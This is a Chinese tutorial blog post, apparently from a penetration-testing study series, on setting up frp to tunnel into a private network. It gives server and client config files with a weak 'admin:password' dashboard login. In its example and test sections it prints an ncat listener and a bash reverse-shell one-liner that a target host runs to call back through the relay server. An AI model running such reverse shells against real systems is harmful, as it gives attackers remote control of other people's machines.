通过Frp解决实现内网穿透

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

    • 前文链接
    • 介绍
      • 内网穿透
      • 内网穿透工具
      • frp
    • 使用实例
    • 安装
    • 服务端配置
      • 服务端启动
    • 客户端配置
      • 客户端启动
    • 测试

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)

介绍

内网穿透

内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。
摘自:百度百科

简单来说,ipv4的ip是有限的,大概256^4个,差不多42.9亿个,如果每台设备都分配一个ip,那ip很快就不够分了。因此,提出了内网域的概念。

我们平时使用的计算机,如果在命令行中输入ipconfig或者ip a,可以看到自己的ip地址。
通过Frp解决实现内网穿透_第1张图片
这里我的ip是192.168.1.9,这是一个内网的ip,中国电信提供的内网ip都是:192.168.*.* ,这样有了内网域,再配合网关,就可以实现几台计算机共享一个ip。这样的一个环境统称局域网。多个局域网交织在一起,叫做广域网。

但这样就会出现一个问题,我的电脑是在内网环境中,如果其他计算机想与我建立通信,是无法连接到我的计算机的。

假如我们想要建立一个网站,或者对外提供某项服务。关于网络安全的,ncat监听,msfconsole监听,都需要其他计算机进行主动连接,但由于我是内网环境,无法直接连接,导致无法实现。

获取公网ip的方法网上教程很多,可以自行查询。

在这里介绍内网穿透技术。

内网穿透技术的工作方式大概可以通过这样一张图表示
通过Frp解决实现内网穿透_第2张图片
通过间接的方式实现攻击机和目标机的连接。

内网穿透工具

在这里推荐我之前一直用的内网穿透工具:Sakura frp
官网:https://www.natfrp.com/
通过该软件,可以轻松实现内网穿透,普通用户可添加两条隧道,限速为10mb/s,每天可以签到拿流量
通过Frp解决实现内网穿透_第3张图片
这个软件,注册是免费的,开隧道是免费的,搭服务也是免费的,但签到要实名,实名资格要一块钱。

该软件不是今天介绍的重点,感兴趣的可以自行了解

frp

frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。
摘自:百度百科

这里需要有一台公网服务器,最好是linux的,获取方式大家懂得都懂,如果没有的话可以走了。

使用实例

在这里举一个实例。
首先这里有三台计算机,两台有公网ip,一台,即我自己的计算机,内网。
由于是真实环境,所有IP我都会进行处理
Server:121.-.-.-
Target:60.-.-.-
Me:192.168.1.9

首先在公网服务器上,开启frps服务

接下来在自己电脑上运行frpc
在这里插入图片描述
此时内网穿透已经建立成功。

其中,我讲自己电脑上的1234端口映射到远程服务器的6000端口,在本地我打开ncat监听
通过Frp解决实现内网穿透_第4张图片

在目标机上执行回显命令

bash -c 'exec bash -i &>/dev/tcp/121.-.-.-/6000 <&1'

在这里插入图片描述
可以看到我自己的电脑成功收到了回显

通过Frp解决实现内网穿透_第5张图片

安装

GitHub:https://github.com/fatedier/frp/releases
去官网分别下载相同版本的linux和windows的压缩包(根据自身情况而定)
例如,我在这里下的是这两个
通过Frp解决实现内网穿透_第6张图片
windows系统直接解压即可
通过Frp解决实现内网穿透_第7张图片
把Linux的压缩包移到服务器上,输入

tar -zxvf frp_0.44.0_linux_amd64.tar.gz

解压
通过Frp解决实现内网穿透_第8张图片

服务端配置

给文件夹先改个名字
通过Frp解决实现内网穿透_第9张图片
cd进去,可以看到
在这里插入图片描述
其中,frps是服务器端的启动文件,frps.ini是配置文件

vim编辑frps.ini,修改内容如下

[common]
bind_port = 7030
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password
log_file = ./frps.log
max_pool_count = 50

参数

  • bing_port :重要,自己的电脑连接的端口
  • dashboard_port : Web端的端口
  • dashboard_user :Web端登录账号
  • dashboard_pass :Web端登录密码
  • log_file :日志输出位置
  • max_pool_count :最大连接数

这里像我一样配置就好了,当然,你也可以自己改
通过Frp解决实现内网穿透_第10张图片

服务端启动

输入

./frps -c ./frps.ini

启动
在这里插入图片描述
此时访问该服务器的7500端口,看到web界面即为启动成功
通过Frp解决实现内网穿透_第11张图片
用户名和密码是之前配置文件的用户名和密码,比如我配置的是admin:password
通过Frp解决实现内网穿透_第12张图片

客户端配置

修改frpc.ini

[common]
server_addr = 服务端的IP
server_port = 7030

[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000

[reverse2]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 6001

参数:

  • server_addr : 服务器的IP
  • server_port : 服务器配置的端口

类似

[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000

就是我配置的内网穿透,在这里我分别开了两条隧道,分别打到我的1234端口和7777端口,对应服务器的6000和6001端口

想要开隧道就像这样开就好了,type表示协议

客户端启动

命令行输入:

frpc.exe -c frpc.ini

在这里我是建了一个bat文件,方便启动
通过Frp解决实现内网穿透_第13张图片
启动如下
通过Frp解决实现内网穿透_第14张图片

注:要先启动服务端,否则就是这样

在这里插入图片描述
启动之后,web界面可以看到开启的隧道
通过Frp解决实现内网穿透_第15张图片

测试

在这里以本地端口的1234,对应远程端口6000测试

本地ncat监听

ncat -lvvp 1234

目标靶机执行回显指令

bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/6000 <&1'

成功回显
通过Frp解决实现内网穿透_第16张图片

此时在web端可看到传输了数据
在这里插入图片描述

你可能感兴趣的:(安全,网络,安全,运维,frp)